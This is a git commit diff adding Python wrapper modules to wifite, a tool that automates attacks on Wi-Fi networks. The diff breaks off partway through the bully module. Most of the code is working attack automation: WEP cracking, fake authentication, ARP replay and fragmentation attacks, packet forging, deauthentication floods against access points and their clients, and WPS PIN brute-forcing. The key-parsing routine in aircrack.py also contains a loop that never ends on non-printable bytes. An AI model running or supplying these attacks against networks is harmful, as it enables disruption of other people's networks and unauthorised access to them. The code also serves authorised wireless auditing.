Massive refactor/renaming. No more upper-case filenames.

This commit is contained in:
derv82
2018-03-17 04:04:05 -04:00
parent 88bb2c0ac2
commit 622ec064a5
45 changed files with 322 additions and 319 deletions

0
wifite/tools/__init__.py Normal file
View File

82
wifite/tools/aircrack.py Executable file
View File

@@ -0,0 +1,82 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.process import Process
from ..config import Configuration
import os
class Aircrack(object):
def __init__(self, ivs_file=None):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
# Delete previous cracked files
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
command = [
'aircrack-ng',
'-a', '1',
'-l', self.cracked_file,
ivs_file
]
self.pid = Process(command, devnull=True)
def is_running(self):
return self.pid.poll() is None
def is_cracked(self):
return os.path.exists(self.cracked_file)
def stop(self):
''' Stops aircrack process '''
if self.pid.poll() is None:
self.pid.interrupt()
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
with open(self.cracked_file, 'r') as fid:
hex_raw = fid.read()
hex_key = ''
ascii_key = ''
while len(hex_raw) > 0:
# HEX
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
# ASCII
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key is None:
# We can't generate an Ascii key
continue
# Convert decimal to char
ascii_key += chr(code)
# Trim first two characters
hex_raw = hex_raw[2:]
continue
return (hex_key, ascii_key)
if __name__ == '__main__':
from time import sleep
Configuration.initialize(False)
a = Aircrack('tests/files/wep-crackable.ivs')
while a.is_running():
sleep(1)
if a.is_cracked():
print "cracked!"
print '(hex, ascii) =', a.get_key_hex_ascii()
else:
print "Not cracked"
Configuration.exit_gracefully(0)

407
wifite/tools/aireplay.py Executable file
View File

@@ -0,0 +1,407 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..config import Configuration
from ..util.process import Process
from ..util.timer import Timer
import os, time, re
from threading import Thread
class WEPAttackType(object):
''' Enumeration of different WEP attack types '''
fakeauth = 0
replay = 1
chopchop = 2
fragment = 3
caffelatte = 4
p0841 = 5
hirte = 6
forgedreplay = 7
def __init__(self, var):
'''
Sets appropriate attack name/value given an input.
Args:
var - Can be a string, number, or WEPAttackType object
This object's name & value is set depending on var.
'''
self.value = None
self.name = None
if type(var) is int:
for (name,value) in WEPAttackType.__dict__.iteritems():
if type(value) is int:
if value == var:
self.name = name
self.value = value
return
raise Exception("Attack number %d not found" % var)
elif type(var) is str:
for (name,value) in WEPAttackType.__dict__.iteritems():
if type(value) is int:
if name == var:
self.name = name
self.value = value
return
raise Exception("Attack name %s not found" % var)
elif type(var) == WEPAttackType:
self.name = var.name
self.value = var.value
else:
raise Exception("Attack type not supported")
def __str__(self):
return self.name
class Aireplay(Thread):
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - str, e.g. "fakeauth", "arpreplay", etc.
client_mac - MAC address of an associated client.
'''
super(Aireplay, self).__init__() # Init the parent Thread
self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" % attack_type)
self.attack_type = WEPAttackType(attack_type).value
self.error = None
self.status = None
self.cmd = Aireplay.get_aireplay_command(self.target,
attack_type,
client_mac=client_mac,
replay_file=replay_file)
self.pid = Process(self.cmd,
stdout=open(self.output_file, 'a'),
stderr=Process.devnull(),
cwd=Configuration.temp())
self.start()
def is_running(self):
return self.pid.poll() is None
def stop(self):
''' Stops aireplay process '''
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def get_output(self):
''' Returns stdout from aireplay process '''
return self.pid.stdout()
def run(self):
while self.pid.poll() is None:
time.sleep(0.1)
if not os.path.exists(self.output_file): continue
# Read output file & clear output file
with open(self.output_file, "r+") as fid:
lines = fid.read()
fid.seek(0)
fid.truncate()
for line in lines.split("\n"):
line = line.replace("\r", "").strip()
if line == "": continue
if "Notice: got a deauth/disassoc packet" in line:
self.error = "Not associated (needs fakeauth)"
if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line:
self.status = None # Reset
# (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line:
self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line:
self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower():
self.status = True
elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines:
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1)
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
matches = offset_re.match(line)
if matches:
self.status = "Generating Xor (%s)" % matches.group(1)
# (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
matches = saving_re.match(line)
if matches:
self.status = matches.group(1)
pass
elif self.attack_type == WEPAttackType.fragment:
# TODO: Parse fragment output, update self.status
# 01:08:15 Waiting for a data packet...
# 01:08:17 Sending fragmented packet
# 01:08:37 Still nothing, trying another packet...
# XX:XX:XX Trying to get 1500 bytes of a keystream
# XX:XX:XX Got RELAYED packet!!
# XX:XX:XX Thats our ARP packet!
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
pass
else: # Replay, forged replay, etc.
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)")
matches = read_re.match(line)
if matches:
pps = matches.group(5)
if pps == "0":
self.status = "Waiting for packet..."
else:
self.status = "Replaying packet @ %s/sec" % pps
pass
def __del__(self):
self.stop()
@staticmethod
def get_aireplay_command(target, attack_type,
client_mac=None, replay_file=None):
'''
Generates aireplay command based on target and attack type
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
replay_file - .Cap file to replay via --arpreplay
'''
# Interface is required at this point
Configuration.initialize()
if Configuration.interface is None:
raise Exception("Wireless interface must be defined (-i)")
cmd = ["aireplay-ng"]
cmd.append("--ignore-negative-one")
if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType.
# Find the appropriate attack enum.
attack_type = WEPAttackType(attack_type).value
if attack_type == WEPAttackType.fakeauth:
cmd.extend([
"--fakeauth", "30", # Fake auth every 30 seconds
"-Q", # Send re-association packets
"-a", target.bssid
])
if target.essid_known:
cmd.extend(["-e", target.essid])
elif attack_type == WEPAttackType.replay:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-x", str(Configuration.wep_pps)
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.extend([
"--chopchop",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
#"-m", "60", # Minimum packet length (bytes)
#"-n", "82", # Maximum packet length
"-F" # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.extend([
"--fragment",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
"-m", "100", # Minimum packet length (bytes)
"-F" # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.caffelatte:
if len(target.clients) == 0:
# Unable to carry out caffe-latte attack
raise Exception("Client is required for caffe-latte attack")
cmd.extend([
"--caffe-latte",
"-b", target.bssid,
"-h", target.clients[0].station
])
elif attack_type == WEPAttackType.p0841:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-c", "ff:ff:ff:ff:ff:ff",
"-x", str(Configuration.wep_pps),
"-F", # Automatically choose first packet
"-p", "0841"
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac is None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
cmd.extend([
"--cfrag",
"-h", client_mac
])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac is None or replay_file is None:
raise Exception("Client_mac and Replay_File are required for arp replay")
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-h", client_mac,
"-r", replay_file,
"-F", # Automatically choose first packet
"-x", str(Configuration.wep_pps)
])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
cmd.append(Configuration.interface)
return cmd
@staticmethod
def get_xor():
''' Finds the last .xor file in the directory '''
xor = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith('replay_') and fil.endswith('.xor') or \
fil.startswith('fragment-') and fil.endswith('.xor'):
xor = fil
return xor
@staticmethod
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a', bssid, # Target MAC
'-h', station_mac, # Client MAC
'-k', '192.168.1.2', # Dest IP
'-l', '192.168.1.100', # Source IP
'-y', xor_file, # Read PRNG from .xor file
'-w', forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
@staticmethod
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [
"aireplay-ng",
"-0", # Deauthentication
str(num_deauths),
"--ignore-negative-one",
"-a", target_bssid, # Target AP
"-D" # Skip AP detection
]
if client_mac is not None:
# Station-specific deauth
deauth_cmd.extend(["-c", client_mac])
if essid:
deauth_cmd.extend(["-e", essid])
deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd)
while proc.poll() is None:
if proc.running_time() >= timeout:
proc.interrupt()
time.sleep(0.2)
@staticmethod
def fakeauth(target, timeout=5, num_attempts=3):
'''
Tries a one-time fake-authenticate with a target AP.
Params:
target (py.Target): Instance of py.Target
timeout (int): Time to wait for fakeuth to succeed.
num_attempts (int): Number of fakeauth attempts to make.
Returns:
(bool): True if fakeauth succeeds, otherwise False
'''
cmd = [
'aireplay-ng',
'-1', '0', # Fake auth, no delay
'-a', target.bssid,
'-T', str(num_attempts)
]
if target.essid_known:
cmd.extend(['-e', target.essid])
cmd.append(Configuration.interface)
fakeauth_proc = Process(cmd,
devnull=False,
cwd=Configuration.temp())
timer = Timer(timeout)
while fakeauth_proc.poll() is None and not timer.ended():
time.sleep(0.1)
if fakeauth_proc.poll() is None or timer.ended():
fakeauth_proc.interrupt()
return False
output = fakeauth_proc.stdout()
return 'association successful' in output.lower()
if __name__ == '__main__':
t = WEPAttackType(4)
print t.name, type(t.name), t.value
t = WEPAttackType('caffelatte')
print t.name, type(t.name), t.value
t = WEPAttackType(t)
print t.name, type(t.name), t.value
from Target import Target
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields)
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
stdout, stderr = aireplay.get_output()
print "STDOUT>", stdout
print "STDERR>", stderr
'''
'''
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
'A4:2B:8C:16:6B:3A', \
'00:C0:CA:4E:CA:E0')
print forge
'''

306
wifite/tools/airmon.py Executable file
View File

@@ -0,0 +1,306 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.interface import Interface
from ..util.process import Process
from ..util.color import Color
from ..config import Configuration
import re
import os
import signal
class Airmon(object):
''' Wrapper around the 'airmon-ng' program '''
base_interface = None
killed_network_manager = False
def __init__(self):
self.refresh()
def refresh(self):
''' Get airmon-recognized interfaces '''
self.interfaces = Airmon.get_interfaces()
def print_menu(self):
''' Prints menu '''
print Interface.menu_header()
for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface))
def get(self, index):
''' Gets interface at index (starts at 1) '''
if type(index) is str:
index = int(index)
return self.interfaces[index - 1]
@staticmethod
def get_interfaces():
'''
Returns:
List of Interface objects known by airmon-ng
'''
interfaces = []
p = Process('airmon-ng')
for line in p.stdout().split('\n'):
# Ignore blank/header lines
if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'):
continue
# Strip out interface information
fields = line.split("\t")
while '' in fields:
fields.remove('')
# Add Interface object to list
interfaces.append(Interface(fields))
return interfaces
@staticmethod
def start(iface):
'''
Starts an interface (iface) in monitor mode
Args:
iface - The interface to start in monitor mode
Either an instance of Interface object,
or the name of the interface (string).
Returns:
Name of the interface put into monitor mode.
Throws:
Exception - If an interface can't be put into monitor mode
'''
# Get interface name from input
if type(iface) == Interface:
iface = iface.name
Airmon.base_interface = iface
# Call airmon-ng
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
(out,err) = Process.call('airmon-ng start %s' % iface)
# Find the interface put into monitor mode (if any)
mon_iface = None
for line in out.split('\n'):
if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
mon_iface = line.split(' on ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
if mon_iface is None:
# Airmon did not enable monitor mode on an interface
Color.pl("{R}failed{W}")
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
# Assert that there is an interface in monitor mode
if len(mon_ifaces) == 0:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see any interfaces in Mode:Monitor")
# Assert that the interface enabled by airmon-ng is in monitor mode
if mon_iface not in mon_ifaces:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)
# No errors found; the device 'mon_iface' was put into MM.
Color.pl("{G}enabled {C}%s{W}" % mon_iface)
Configuration.interface = mon_iface
return mon_iface
@staticmethod
def stop(iface):
Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
(out,err) = Process.call('airmon-ng stop %s' % iface)
mon_iface = None
for line in out.split('\n'):
# aircrack-ng 1.2 rc2
if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
mon_iface = line.split(' for ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
# aircrack-ng 1.2 rc1
match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
if match:
mon_iface = match.groups()[0]
break
if mon_iface:
Color.pl('{R}disabled %s{W}' % mon_iface)
else:
Color.pl('{O}could not disable on {R}%s{W}' % iface)
@staticmethod
def get_interfaces_in_monitor_mode():
'''
Uses 'iwconfig' to find all interfaces in monitor mode
Returns:
List of interface names that are in monitor mode
'''
interfaces = []
(out, err) = Process.call("iwconfig")
for line in out.split("\n"):
if len(line) == 0: continue
if line[0] != ' ':
iface = line.split(' ')[0]
if '\t' in iface:
iface = iface.split('\t')[0]
if 'Mode:Monitor' in line and iface not in interfaces:
interfaces.append(iface)
return interfaces
@staticmethod
def ask():
'''
Asks user to define which wireless interface to use.
Does not ask if:
1. There is already an interface in monitor mode, or
2. There is only one wireles interface (automatically selected).
Puts selected device into Monitor Mode.
'''
Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}')
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
mon_count = len(mon_ifaces)
if mon_count == 1:
# Assume we're using the device already in montior mode
iface = mon_ifaces[0]
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
% iface);
Airmon.base_interface = None
return iface
a = Airmon()
count = len(a.interfaces)
if count == 0:
# No interfaces found
Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
Color.pl('{!} {O}make sure your wireless device is connected')
Color.pl('{!} {O}see {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')
raise Exception('airmon-ng did not find any wireless interfaces')
Color.pl('')
a.print_menu()
Color.pl('')
if count == 1:
# Only one interface, assume this is the one to use
choice = 1
else:
# Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
choice = raw_input(question)
iface = a.get(choice)
if a.get(choice).name in mon_ifaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
else:
iface.name = Airmon.start(iface)
return iface.name
@staticmethod
def terminate_conflicting_processes():
''' Deletes conflicting processes reported by airmon-ng '''
'''
% airmon-ng check
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2272 dhclient
2293 NetworkManager
3302 wpa_supplicant
'''
out = Process(['airmon-ng', 'check']).stdout()
if 'processes that could cause trouble' not in out:
# No proceses to kill
return
hit_pids = False
for line in out.split('\n'):
if re.search('^ *PID', line):
hit_pids = True
continue
if not hit_pids or line.strip() == '':
continue
match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
if match:
# Found process
pid = match.groups()[0]
pname = match.groups()[1]
if Configuration.kill_conflicting_processes:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM)
if pname == 'NetworkManager':
Airmon.killed_network_manager= True
else:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
if not Configuration.kill_conflicting_processes:
Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}')
@staticmethod
def put_interface_up(iface):
Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
(out,err) = Process.call('ifconfig %s up' % (iface))
Color.pl(" {R}done{W}")
@staticmethod
def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...")
if Process.exists('service'):
cmd = 'service network-manager start'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
return
if Process.exists('systemctl'):
cmd = 'systemctl start NetworkManager'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
return
else:
Color.pl(" {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}")
if __name__ == '__main__':
Airmon.terminate_conflicting_processes()
iface = Airmon.ask()
Airmon.stop(iface)

306
wifite/tools/airodump.py Executable file
View File

@@ -0,0 +1,306 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.util.process import Process
from wifite.config import Configuration
from wifite.model.target import Target
from wifite.model.client import Client
from wifite.tools.tshark import Tshark
import os, time
class Airodump(object):
''' Wrapper around airodump-ng program '''
def __init__(self, interface=None, channel=None, encryption=None,\
wps=False, target_bssid=None, output_file_prefix='airodump',\
ivs_only=False, skip_wps=False):
'''
Sets up airodump arguments, doesn't start process yet
'''
Configuration.initialize()
if interface is None:
interface = Configuration.interface
if interface is None:
raise Exception("Wireless interface must be defined (-i)")
self.interface = interface
self.targets = []
if channel is None:
channel = Configuration.target_channel
self.channel = channel
self.five_ghz = Configuration.five_ghz
self.encryption = encryption
self.wps = wps
self.target_bssid = target_bssid
self.output_file_prefix = output_file_prefix
self.ivs_only = ivs_only
self.skip_wps = skip_wps
# For tracking decloaked APs (previously were hidden)
self.decloaking = False
self.decloaked_targets = []
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
def __enter__(self):
'''
Setting things up for this context.
Called at start of 'with Airodump(...) as x:'
Actually starts the airodump process.
'''
self.delete_airodump_temp_files()
self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
# Build the command
command = [
'airodump-ng',
self.interface,
'-a', # Only show associated clients
'-w', self.csv_file_prefix, # Output file prefix
'--write-interval', '1' # Write every second
]
if self.channel:
command.extend(['-c', str(self.channel)])
elif self.five_ghz:
command.extend(['--band', 'a'])
if self.encryption:
command.extend(['--enc', self.encryption])
if self.wps:
command.extend(['--wps'])
if self.target_bssid:
command.extend(['--bssid', self.target_bssid])
if self.ivs_only:
command.extend(['--output-format', 'ivs,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
# Start the process
self.pid = Process(command, devnull=True)
return self
def __exit__(self, type, value, traceback):
'''
Tearing things down since the context is being exited.
Called after 'with Airodump(...)' goes out of scope.
'''
# Kill the process
self.pid.interrupt()
# Delete temp files
self.delete_airodump_temp_files()
def find_files(self, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix '''
result = []
for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix):
if not endswith or fil.endswith(endswith):
result.append(Configuration.temp() + fil)
return result
def delete_airodump_temp_files(self):
'''
Deletes airodump* files in the temp directory.
Also deletes replay_*.cap and *.xor files in pwd.
'''
# Remove all temp files
for fil in self.find_files():
os.remove(fil)
# Remove .cap and .xor files from pwd
for fil in os.listdir('.'):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(fil)
def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
csv_filename = None
for fil in self.find_files(endswith='-01.csv'):
# Found the file
csv_filename = fil
break
if csv_filename is None or not os.path.exists(csv_filename):
# No file found
return self.targets
# Parse the .CSV file
targets = Airodump.get_targets_from_csv(csv_filename)
# Check targets for WPS
if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap'
Tshark.check_for_wps_and_update_targets(capfile, targets)
if apply_filter:
# Filter targets based on encryption & WPS capability
targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps)
# Sort by power
targets.sort(key=lambda x: x.power, reverse=True)
for old_target in self.targets:
for new_target in targets:
if old_target.bssid != new_target.bssid: continue
if new_target.essid_known and not old_target.essid_known:
# We decloaked a target!
self.decloaked_targets.append(new_target)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets
self.deauth_hidden_targets()
return self.targets
@staticmethod
def get_targets_from_csv(csv_filename):
'''
Returns list of Target objects parsed from CSV file
'''
targets = []
import csv
with open(csv_filename, 'rb') as csvopen:
lines = (line.replace('\0', '') for line in csvopen)
csv_reader = csv.reader(lines, delimiter=',')
hit_clients = False
for row in csv_reader:
# Each "row" is a list of fields for a target/client
if len(row) == 0: continue
if row[0].strip() == 'BSSID':
# This is the "header" for the list of Targets
hit_clients = False
continue
elif row[0].strip() == 'Station MAC':
# This is the "header" for the list of Clients
hit_clients = True
continue
if hit_clients:
# The current row corresponds to a "Client" (computer)
try:
client = Client(row)
except (IndexError, ValueError) as e:
# Skip if we can't parse the client row
continue
if 'not associated' in client.bssid:
# Ignore unassociated clients
continue
# Add this client to the appropriate Target
for t in targets:
if t.bssid == client.bssid:
t.clients.append(client)
break
else:
# The current row corresponds to a "Target" (router)
try:
target = Target(row)
targets.append(target)
except Exception:
continue
return targets
@staticmethod
def filter_targets(targets, skip_wps=False):
''' Filters targets based on Configuration '''
result = []
# Filter based on Encryption
for target in targets:
if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
result.append(target)
elif 'WPS' in Configuration.encryption_filter and target.wps:
result.append(target)
elif skip_wps:
result.append(target)
# Filter based on BSSID/ESSID
bssid = Configuration.target_bssid
essid = Configuration.target_essid
i = 0
while i < len(result):
if bssid and result[i].bssid.lower() != bssid.lower():
result.pop(i)
elif essid and result[i].essid and result[i].essid.lower() != essid.lower():
result.pop(i)
else:
i += 1
return result
def deauth_hidden_targets(self):
'''
Sends deauths (to broadcast and to each client) for all
targets (APs) that have unknown ESSIDs (hidden router names).
'''
self.decloaking = False
# Do not deauth if requested
if Configuration.no_deauth: return
# Do not deauth if channel is not fixed.
if self.channel is None: return
# Reusable deauth command
deauth_cmd = [
'aireplay-ng',
'-0', # Deauthentication
str(Configuration.num_deauths), # Number of deauth packets to send
'--ignore-negative-one'
]
for target in self.targets:
if target.essid_known: continue
now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue
self.decloaking = True
self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1:
from Color import Color
verbout = " [?] Deauthing %s" % target.bssid
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
# Deauth broadcast
iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients
for client in target.clients:
Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
if __name__ == '__main__':
''' Example usage. wlan0mon should be in Monitor Mode '''
with Airodump() as airodump:
from time import sleep
sleep(7)
from Color import Color
targets = airodump.get_targets()
for idx, target in enumerate(targets, start=1):
Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str()))
Configuration.delete_temp()

224
wifite/tools/bully.py Executable file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..util.color import Color
from ..util.timer import Timer
from ..util.process import Process
from ..config import Configuration
from ..model.wps_result import CrackResultWPS
import os, time, re
from threading import Thread
class Bully(Attack):
def __init__(self, target):
super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
self.pins_attempted = 0
self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.cmd = [
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
"bully",
"--bssid", target.bssid,
"--channel", target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v", "4",
"--pixiewps",
Configuration.interface
]
self.bully_proc = None
def attack_type(self):
return "Pixie-Dust"
def run(self):
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
# Start bully
self.bully_proc = Process(self.cmd,
stderr=Process.devnull(),
bufsize=0,
cwd=Configuration.temp())
t = Thread(target=self.parse_line_thread)
t.daemon = True
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop()
break
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
self.get_status())
time.sleep(0.5)
except KeyboardInterrupt as e:
self.stop()
raise e
except Exception as e:
self.stop()
raise e
if self.crack_result is None:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}Failed{W}\n")
def running_time(self):
return int(time.time() - self.start_time)
def get_status(self):
result = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
result += ")"
return result
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
